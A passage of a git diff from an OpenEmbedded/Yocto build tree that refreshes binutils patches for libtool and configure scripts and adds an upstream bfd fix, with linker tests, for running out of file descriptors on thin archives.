lt_prog_compiler_pic='--shared'
lt_prog_compiler_static='--static'
;;
@@ -22017,7 +22079,7 @@ index de6fa7e9960..cce448b6a53 100755
pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
# Portland Group compilers (*not* the Pentium gcc compiler,
# which looks to be a dead project)
-@@ -7885,7 +8389,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -7916,7 +8416,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
lt_prog_compiler_pic='-KPIC'
lt_prog_compiler_static='-Bstatic'
case $cc_basename in
@@ -22026,7 +22088,7 @@ index de6fa7e9960..cce448b6a53 100755
lt_prog_compiler_wl='-Qoption ld ';;
*)
lt_prog_compiler_wl='-Wl,';;
-@@ -7942,13 +8446,17 @@ case $host_os in
+@@ -7973,13 +8473,17 @@ case $host_os in
lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
;;
esac
@@ -22050,7 +22112,7 @@ index de6fa7e9960..cce448b6a53 100755
#
# Check to make sure the PIC flag actually works.
-@@ -8009,6 +8517,11 @@ fi
+@@ -8040,6 +8544,11 @@ fi
@@ -22062,7 +22124,7 @@ index de6fa7e9960..cce448b6a53 100755
#
# Check to make sure the static flag actually works.
#
-@@ -8359,7 +8872,8 @@ _LT_EOF
+@@ -8390,7 +8899,8 @@ _LT_EOF
allow_undefined_flag=unsupported
always_export_symbols=no
enable_shared_with_static_runtimes=yes
@@ -22072,7 +22134,7 @@ index de6fa7e9960..cce448b6a53 100755
if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -8458,12 +8972,12 @@ _LT_EOF
+@@ -8489,12 +8999,12 @@ _LT_EOF
whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
hardcode_libdir_flag_spec=
hardcode_libdir_flag_spec_ld='-rpath $libdir'
@@ -22087,7 +22149,7 @@ index de6fa7e9960..cce448b6a53 100755
fi
;;
esac
-@@ -8477,8 +8991,8 @@ _LT_EOF
+@@ -8508,8 +9018,8 @@ _LT_EOF
archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
wlarc=
else
@@ -22098,7 +22160,7 @@ index de6fa7e9960..cce448b6a53 100755
fi
;;
-@@ -8496,8 +9010,8 @@ _LT_EOF
+@@ -8527,8 +9037,8 @@ _LT_EOF
_LT_EOF
elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -22109,7 +22171,7 @@ index de6fa7e9960..cce448b6a53 100755
else
ld_shlibs=no
fi
-@@ -8543,8 +9057,8 @@ _LT_EOF
+@@ -8574,8 +9084,8 @@ _LT_EOF
*)
if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -22120,7 +22182,7 @@ index de6fa7e9960..cce448b6a53 100755
else
ld_shlibs=no
fi
-@@ -8674,7 +9188,13 @@ _LT_EOF
+@@ -8705,7 +9215,13 @@ _LT_EOF
allow_undefined_flag='-berok'
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -22135,7 +22197,7 @@ index de6fa7e9960..cce448b6a53 100755
as_fn_error $? "Link tests are not allowed after GCC_NO_EXECUTABLES." "$LINENO" 5
fi
cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-@@ -8690,22 +9210,29 @@ main ()
+@@ -8721,22 +9237,29 @@ main ()
_ACEOF
if ac_fn_c_try_link "$LINENO"; then :
@@ -22178,7 +22240,7 @@ index de6fa7e9960..cce448b6a53 100755
hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -8717,7 +9244,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8748,7 +9271,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
else
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -22193,7 +22255,7 @@ index de6fa7e9960..cce448b6a53 100755
as_fn_error $? "Link tests are not allowed after GCC_NO_EXECUTABLES." "$LINENO" 5
fi
cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-@@ -8733,22 +9266,29 @@ main ()
+@@ -8764,22 +9293,29 @@ main ()
_ACEOF
if ac_fn_c_try_link "$LINENO"; then :
@@ -22236,7 +22298,7 @@ index de6fa7e9960..cce448b6a53 100755
hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
# Warning - without using the other run time loading flags,
-@@ -8793,20 +9333,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8824,20 +9360,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
# Microsoft Visual C++.
# hardcode_libdir_flag_spec is actually meaningless, as there is
# no search path for DLLs.
@@ -22314,7 +22376,7 @@ index de6fa7e9960..cce448b6a53 100755
;;
darwin* | rhapsody*)
-@@ -8867,7 +9450,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8898,7 +9477,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
# FreeBSD 3 and greater uses gcc -shared to do shared libraries.
freebsd* | dragonfly*)
@@ -22323,7 +22385,7 @@ index de6fa7e9960..cce448b6a53 100755
hardcode_libdir_flag_spec='-R$libdir'
hardcode_direct=yes
hardcode_shlibpath_var=no
-@@ -8875,7 +9458,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8906,7 +9485,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
hpux9*)
if test "$GCC" = yes; then
@@ -22332,7 +22394,7 @@ index de6fa7e9960..cce448b6a53 100755
else
archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
fi
-@@ -8891,7 +9474,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8922,7 +9501,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
hpux10*)
if test "$GCC" = yes && test "$with_gnu_ld" = no; then
@@ -22341,7 +22403,7 @@ index de6fa7e9960..cce448b6a53 100755
else
archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
fi
-@@ -8915,10 +9498,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8946,10 +9525,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
;;
ia64*)
@@ -22354,7 +22416,7 @@ index de6fa7e9960..cce448b6a53 100755
;;
esac
else
-@@ -8997,26 +9580,39 @@ fi
+@@ -9028,26 +9607,39 @@ fi
irix5* | irix6* | nonstopux*)
if test "$GCC" = yes; then
@@ -22402,7 +22464,7 @@ index de6fa7e9960..cce448b6a53 100755
else
archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -9101,7 +9697,7 @@ rm -f core conftest.err conftest.$ac_objext \
+@@ -9132,7 +9724,7 @@ rm -f core conftest.err conftest.$ac_objext \
osf4* | osf5*) # as osf3* with the addition of -msym flag
if test "$GCC" = yes; then
allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
@@ -22411,7 +22473,7 @@ index de6fa7e9960..cce448b6a53 100755
hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
else
allow_undefined_flag=' -expect_unresolved \*'
-@@ -9120,9 +9716,9 @@ rm -f core conftest.err conftest.$ac_objext \
+@@ -9151,9 +9743,9 @@ rm -f core conftest.err conftest.$ac_objext \
no_undefined_flag=' -z defs'
if test "$GCC" = yes; then
wlarc='${wl}'
@@ -22423,7 +22485,7 @@ index de6fa7e9960..cce448b6a53 100755
else
case `$CC -V 2>&1` in
*"Compilers 5.0"*)
-@@ -9698,8 +10294,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -9729,8 +10321,9 @@ cygwin* | mingw* | pw32* | cegcc*)
need_version=no
need_lib_prefix=no
@@ -22435,7 +22497,7 @@ index de6fa7e9960..cce448b6a53 100755
library_names_spec='$libname.dll.a'
# DLL is installed to $(libdir)/../bin by postinstall_cmds
postinstall_cmds='base_file=`basename \${file}`~
-@@ -9732,13 +10329,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -9763,13 +10356,71 @@ cygwin* | mingw* | pw32* | cegcc*)
library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
;;
esac
@@ -22508,7 +22570,7 @@ index de6fa7e9960..cce448b6a53 100755
# FIXME: first we should search . and the directory the executable is in
shlibpath_var=PATH
;;
-@@ -9830,7 +10485,7 @@ haiku*)
+@@ -9851,7 +10502,7 @@ haiku*)
soname_spec='${libname}${release}${shared_ext}$major'
shlibpath_var=LIBRARY_PATH
shlibpath_overrides_runpath=yes
@@ -22517,16 +22579,16 @@ index de6fa7e9960..cce448b6a53 100755
hardcode_into_libs=yes
;;
-@@ -10644,7 +11299,7 @@ else
+@@ -10665,7 +11316,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
--#line 10647 "configure"
+-#line 10668 "configure"
+#line $LINENO "configure"
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -10688,10 +11343,10 @@ else
+@@ -10709,10 +11360,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -22539,16 +22601,16 @@ index de6fa7e9960..cce448b6a53 100755
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -10750,7 +11405,7 @@ else
+@@ -10771,7 +11422,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
--#line 10753 "configure"
+-#line 10774 "configure"
+#line $LINENO "configure"
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -10794,10 +11449,10 @@ else
+@@ -10815,10 +11466,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -22561,7 +22623,7 @@ index de6fa7e9960..cce448b6a53 100755
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -12267,13 +12922,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+@@ -12288,13 +12939,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
@@ -22582,7 +22644,7 @@ index de6fa7e9960..cce448b6a53 100755
STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -12288,14 +12950,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+@@ -12309,14 +12967,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
@@ -22601,7 +22663,7 @@ index de6fa7e9960..cce448b6a53 100755
DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -12328,12 +12993,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+@@ -12349,12 +13010,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
@@ -22615,7 +22677,7 @@ index de6fa7e9960..cce448b6a53 100755
file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -12388,8 +13053,13 @@ reload_flag \
+@@ -12409,8 +13070,13 @@ reload_flag \
OBJDUMP \
deplibs_check_method \
file_magic_cmd \
@@ -22629,7 +22691,7 @@ index de6fa7e9960..cce448b6a53 100755
STRIP \
RANLIB \
CC \
-@@ -12399,12 +13069,14 @@ lt_cv_sys_global_symbol_pipe \
+@@ -12420,12 +13086,14 @@ lt_cv_sys_global_symbol_pipe \
lt_cv_sys_global_symbol_to_cdecl \
lt_cv_sys_global_symbol_to_c_name_address \
lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
@@ -22645,7 +22707,7 @@ index de6fa7e9960..cce448b6a53 100755
DSYMUTIL \
NMEDIT \
LIPO \
-@@ -12420,7 +13092,6 @@ no_undefined_flag \
+@@ -12441,7 +13109,6 @@ no_undefined_flag \
hardcode_libdir_flag_spec \
hardcode_libdir_flag_spec_ld \
hardcode_libdir_separator \
@@ -22653,7 +22715,7 @@ index de6fa7e9960..cce448b6a53 100755
exclude_expsyms \
include_expsyms \
file_list_spec \
-@@ -12456,6 +13127,7 @@ module_cmds \
+@@ -12477,6 +13144,7 @@ module_cmds \
module_expsym_cmds \
export_symbols_cmds \
prelink_cmds \
@@ -22661,7 +22723,7 @@ index de6fa7e9960..cce448b6a53 100755
postinstall_cmds \
postuninstall_cmds \
finish_cmds \
-@@ -13054,7 +13726,8 @@ $as_echo X"$file" |
+@@ -13075,7 +13743,8 @@ $as_echo X"$file" |
# NOTE: Changes made to this file will be lost: look at ltmain.sh.
#
# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
@@ -22671,7 +22733,7 @@ index de6fa7e9960..cce448b6a53 100755
# Written by Gordon Matzigkeit, 1996
#
# This file is part of GNU Libtool.
-@@ -13157,19 +13830,42 @@ SP2NL=$lt_lt_SP2NL
+@@ -13178,19 +13847,42 @@ SP2NL=$lt_lt_SP2NL
# turn newlines into spaces.
NL2SP=$lt_lt_NL2SP
@@ -22715,7 +22777,7 @@ index de6fa7e9960..cce448b6a53 100755
# A symbol stripping program.
STRIP=$lt_STRIP
-@@ -13199,6 +13895,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+@@ -13220,6 +13912,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
# Transform the output of nm in a C name address pair when lib prefix is needed.
global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
@@ -22728,7 +22790,7 @@ index de6fa7e9960..cce448b6a53 100755
# The name of the directory that contains temporary libtool files.
objdir=$objdir
-@@ -13208,6 +13910,9 @@ MAGIC_CMD=$MAGIC_CMD
+@@ -13229,6 +13927,9 @@ MAGIC_CMD=$MAGIC_CMD
# Must we lock files when doing compilation?
need_locks=$lt_need_locks
@@ -22738,7 +22800,7 @@ index de6fa7e9960..cce448b6a53 100755
# Tool to manipulate archived DWARF debug symbol files on Mac OS X.
DSYMUTIL=$lt_DSYMUTIL
-@@ -13322,12 +14027,12 @@ with_gcc=$GCC
+@@ -13343,12 +14044,12 @@ with_gcc=$GCC
# Compiler flag to turn off builtin functions.
no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
@@ -22754,7 +22816,7 @@ index de6fa7e9960..cce448b6a53 100755
# Compiler flag to prevent dynamic linking.
link_static_flag=$lt_lt_prog_compiler_static
-@@ -13414,9 +14119,6 @@ inherit_rpath=$inherit_rpath
+@@ -13435,9 +14136,6 @@ inherit_rpath=$inherit_rpath
# Whether libtool must link a program against all its dependency libraries.
link_all_deplibs=$link_all_deplibs
@@ -22764,7 +22826,7 @@ index de6fa7e9960..cce448b6a53 100755
# Set to "yes" if exported symbols are required.
always_export_symbols=$always_export_symbols
-@@ -13432,6 +14134,9 @@ include_expsyms=$lt_include_expsyms
+@@ -13453,6 +14151,9 @@ include_expsyms=$lt_include_expsyms
# Commands necessary for linking programs (against libraries) with templates.
prelink_cmds=$lt_prelink_cmds
@@ -22774,7 +22836,7 @@ index de6fa7e9960..cce448b6a53 100755
# Specify filename containing input files.
file_list_spec=$lt_file_list_spec
-@@ -13464,210 +14169,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+@@ -13485,210 +14186,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
# if finds mixed CR/LF and LF-only lines. Since sed operates in
# text mode, it properly converts lines to CR/LF. This bash problem
# is reportedly fixed, but why not run on old versions too?
@@ -23148,6 +23210,3 @@ index de6fa7e9960..cce448b6a53 100755
(rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
chmod +x "$ofile"
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0014-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch b/meta/recipes-devtools/binutils/binutils/0014-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch
index 69a2383782..0e4790577a 100644
--- a/meta/recipes-devtools/binutils/binutils/0014-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch
+++ b/meta/recipes-devtools/binutils/binutils/0014-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch
@@ -1,7 +1,7 @@
-From f791a5d84475c02356f16679b7f4ee9c9c3408aa Mon Sep 17 00:00:00 2001
+From ff256618bf85acca889920a1fb63ddea64cc98bc Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 2 Mar 2015 01:42:38 +0000
-Subject: [PATCH 14/17] Fix rpath in libtool when sysroot is enabled
+Subject: [PATCH] Fix rpath in libtool when sysroot is enabled
Enabling sysroot support in libtool exposed a bug where the final
library had an RPATH encoded into it which still pointed to the
@@ -47,6 +47,3 @@ index 70e856e0659..11ee684cccf 100644
if test -n "$hardcode_libdir_separator"; then
if test -z "$hardcode_libdirs"; then
hardcode_libdirs="$libdir"
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0015-sync-with-OE-libtool-changes.patch b/meta/recipes-devtools/binutils/binutils/0015-sync-with-OE-libtool-changes.patch
index e848f146b0..6afd37aafc 100644
--- a/meta/recipes-devtools/binutils/binutils/0015-sync-with-OE-libtool-changes.patch
+++ b/meta/recipes-devtools/binutils/binutils/0015-sync-with-OE-libtool-changes.patch
@@ -1,7 +1,7 @@
-From e087f96e219d47c4d2244c3f32397e56d41bfdec Mon Sep 17 00:00:00 2001
+From 4b612f902c596838ab260194f840a466f8291618 Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Mon, 6 Mar 2017 23:33:27 -0800
-Subject: [PATCH 15/17] sync with OE libtool changes
+Subject: [PATCH] sync with OE libtool changes
Apply these patches from our libtool patches as not only are redundant RPATHs a
waste of space but they can cause incorrect linking when native packages are
@@ -84,6 +84,3 @@ index 11ee684cccf..3b19ac15328 100644
fi
elif test -n "$runpath_var"; then
case "$finalize_perm_rpath " in
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0016-Check-for-clang-before-checking-gcc-version.patch b/meta/recipes-devtools/binutils/binutils/0016-Check-for-clang-before-checking-gcc-version.patch
index 400b79823f..135cd0f9ad 100644
--- a/meta/recipes-devtools/binutils/binutils/0016-Check-for-clang-before-checking-gcc-version.patch
+++ b/meta/recipes-devtools/binutils/binutils/0016-Check-for-clang-before-checking-gcc-version.patch
@@ -1,7 +1,7 @@
-From ae5a7d622dc9addb2ca9fc85889c45964c025a9c Mon Sep 17 00:00:00 2001
+From 707a5d49ecaa4fd722176d764251360a44fc5655 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 15 Apr 2020 14:17:20 -0700
-Subject: [PATCH 16/17] Check for clang before checking gcc version
+Subject: [PATCH] Check for clang before checking gcc version
Clang advertises itself to be gcc 4.2.1, so when compiling this test
here fails since gcc < 4.4.5 did not support -static-libstdc++ but thats
@@ -18,10 +18,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/configure b/configure
-index 6782f8b6ab8..72f5766b363 100755
+index e8ba1a1d3de..e00d4764583 100755
--- a/configure
+++ b/configure
-@@ -5143,7 +5143,7 @@ ac_compiler_gnu=$ac_cv_cxx_compiler_gnu
+@@ -5275,7 +5275,7 @@ ac_compiler_gnu=$ac_cv_cxx_compiler_gnu
cat confdefs.h - <<_ACEOF >conftest.$ac_ext
/* end confdefs.h. */
@@ -31,10 +31,10 @@ index 6782f8b6ab8..72f5766b363 100755
#endif
int main() {}
diff --git a/configure.ac b/configure.ac
-index 55beb1dea46..3f9e613e2d9 100644
+index 3a8a3ae1f3b..c7f08b802d0 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -1312,7 +1312,7 @@ if test "$GCC" = yes; then
+@@ -1309,7 +1309,7 @@ if test "$GCC" = yes; then
AC_MSG_CHECKING([whether g++ accepts -static-libstdc++ -static-libgcc])
AC_LANG_PUSH(C++)
AC_LINK_IFELSE([AC_LANG_SOURCE([
@@ -43,6 +43,3 @@ index 55beb1dea46..3f9e613e2d9 100644
#error -static-libstdc++ not implemented
#endif
int main() {}])],
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0017-bfd-Close-the-file-descriptor-if-there-is-no-archive.patch b/meta/recipes-devtools/binutils/binutils/0017-bfd-Close-the-file-descriptor-if-there-is-no-archive.patch
new file mode 100644
index 0000000000..924980b4e8
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0017-bfd-Close-the-file-descriptor-if-there-is-no-archive.patch
@@ -0,0 +1,234 @@
+From 1c611b40e6bfc8029bff7696814330b5bc0ee5c0 Mon Sep 17 00:00:00 2001
+From: "H.J. Lu" <hjl.tools@gmail.com>
+Date: Mon, 26 Jul 2021 05:59:55 -0700
+Subject: [PATCH] bfd: Close the file descriptor if there is no archive fd
+
+Close the file descriptor if there is no archive plugin file descriptor
+to avoid running out of file descriptors on thin archives with many
+archive members.
+
+bfd/
+
+ PR ld/28138
+ * plugin.c (bfd_plugin_close_file_descriptor): Close the file
+ descriptor there is no archive plugin file descriptor.
+
+ld/
+
+ PR ld/28138
+ * testsuite/ld-plugin/lto.exp: Run tmpdir/pr28138 only for
+ native build.
+
+ PR ld/28138
+ * testsuite/ld-plugin/lto.exp: Run ld/28138 tests.
+ * testsuite/ld-plugin/pr28138.c: New file.
+ * testsuite/ld-plugin/pr28138-1.c: Likewise.
+ * testsuite/ld-plugin/pr28138-2.c: Likewise.
+ * testsuite/ld-plugin/pr28138-3.c: Likewise.
+ * testsuite/ld-plugin/pr28138-4.c: Likewise.
+ * testsuite/ld-plugin/pr28138-5.c: Likewise.
+ * testsuite/ld-plugin/pr28138-6.c: Likewise.
+ * testsuite/ld-plugin/pr28138-7.c: Likewise.
+
+(cherry picked from commit 5a98fb7513b559e20dfebdbaa2a471afda3b4742)
+(cherry picked from commit 7dc37e1e1209c80e0bab784df6b6bac335e836f2)
+
+Upstream-Status: Accepted [https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=1c611b40e6bfc8029bff7696814330b5bc0ee5c0]
+---
+ bfd/plugin.c | 8 +++++++
+ ld/testsuite/ld-plugin/lto.exp | 34 ++++++++++++++++++++++++++++++
+ ld/testsuite/ld-plugin/pr28138-1.c | 6 ++++++
+ ld/testsuite/ld-plugin/pr28138-2.c | 6 ++++++
+ ld/testsuite/ld-plugin/pr28138-3.c | 6 ++++++
+ ld/testsuite/ld-plugin/pr28138-4.c | 6 ++++++
+ ld/testsuite/ld-plugin/pr28138-5.c | 6 ++++++
+ ld/testsuite/ld-plugin/pr28138-6.c | 6 ++++++
+ ld/testsuite/ld-plugin/pr28138-7.c | 6 ++++++
+ ld/testsuite/ld-plugin/pr28138.c | 20 ++++++++++++++++++
+ 10 files changed, 104 insertions(+)
+ create mode 100644 ld/testsuite/ld-plugin/pr28138-1.c
+ create mode 100644 ld/testsuite/ld-plugin/pr28138-2.c
+ create mode 100644 ld/testsuite/ld-plugin/pr28138-3.c
+ create mode 100644 ld/testsuite/ld-plugin/pr28138-4.c
+ create mode 100644 ld/testsuite/ld-plugin/pr28138-5.c
+ create mode 100644 ld/testsuite/ld-plugin/pr28138-6.c
+ create mode 100644 ld/testsuite/ld-plugin/pr28138-7.c
+ create mode 100644 ld/testsuite/ld-plugin/pr28138.c
+
+diff --git a/bfd/plugin.c b/bfd/plugin.c
+index 6cfa2b66470..3bab8febe88 100644
+--- a/bfd/plugin.c
++++ b/bfd/plugin.c
+@@ -291,6 +291,14 @@ bfd_plugin_close_file_descriptor (bfd *abfd, int fd)
+ && !bfd_is_thin_archive (abfd->my_archive))
+ abfd = abfd->my_archive;
+
++ /* Close the file descriptor if there is no archive plugin file
++ descriptor. */
++ if (abfd->archive_plugin_fd == -1)
++ {
++ close (fd);
++ return;
++ }
++
+ abfd->archive_plugin_fd_open_count--;
+ /* Dup the archive plugin file descriptor for later use, which
+ will be closed by _bfd_archive_close_and_cleanup. */
+diff --git a/ld/testsuite/ld-plugin/lto.exp b/ld/testsuite/ld-plugin/lto.exp
+index def69e43ab3..999d911ce6a 100644
+--- a/ld/testsuite/ld-plugin/lto.exp
++++ b/ld/testsuite/ld-plugin/lto.exp
+@@ -687,6 +687,40 @@ if { [is_elf_format] && [check_lto_shared_available] } {
+ }
+ }
+
++run_cc_link_tests [list \
++ [list \
++ "Build pr28138.a" \
++ "-T" "" \
++ {pr28138-1.c pr28138-2.c pr28138-3.c pr28138-4.c pr28138-5.c \
++ pr28138-6.c pr28138-7.c} {} "pr28138.a" \
++ ] \
++ [list \
++ "Build pr28138.o" \
++ "" "" \
++ {pr28138.c} {} \
++ ] \
++]
++
++set exec_output [run_host_cmd "sh" \
++ "-c \"ulimit -n 20; \
++ $CC -Btmpdir/ld -o tmpdir/pr28138 \
++ tmpdir/pr28138.o tmpdir/pr28138.a\""]
++set exec_output [prune_warnings $exec_output]
++if [string match "" $exec_output] then {
++ if { [isnative] } {
++ set exec_output [run_host_cmd "tmpdir/pr28138" ""]
++ if [string match "PASS" $exec_output] then {
++ pass "PR ld/28138"
++ } else {
++ fail "PR ld/28138"
++ }
++ } else {
++ pass "PR ld/28138"
++ }
++} else {
++ fail "PR ld/28138"
++}
++
+ set testname "Build liblto-11.a"
+ remote_file host delete "tmpdir/liblto-11.a"
+ set catch_output [run_host_cmd "$ar" "rc $plug_opt tmpdir/liblto-11.a tmpdir/lto-11a.o tmpdir/lto-11b.o tmpdir/lto-11c.o"]
+diff --git a/ld/testsuite/ld-plugin/pr28138-1.c b/ld/testsuite/ld-plugin/pr28138-1.c
+new file mode 100644
+index 00000000000..51d119e1642
+--- /dev/null
++++ b/ld/testsuite/ld-plugin/pr28138-1.c
+@@ -0,0 +1,6 @@
++extern int a0(void);
++int
++a1(void)
++{
++ return 1 + a0();
++}
+diff --git a/ld/testsuite/ld-plugin/pr28138-2.c b/ld/testsuite/ld-plugin/pr28138-2.c
+new file mode 100644
+index 00000000000..1120cd797e9
+--- /dev/null
++++ b/ld/testsuite/ld-plugin/pr28138-2.c
+@@ -0,0 +1,6 @@
++extern int a1(void);
++int
++a2(void)
++{
++ return 1 + a1();
++}
+diff --git a/ld/testsuite/ld-plugin/pr28138-3.c b/ld/testsuite/ld-plugin/pr28138-3.c
+new file mode 100644
+index 00000000000..ec464947ee6
+--- /dev/null
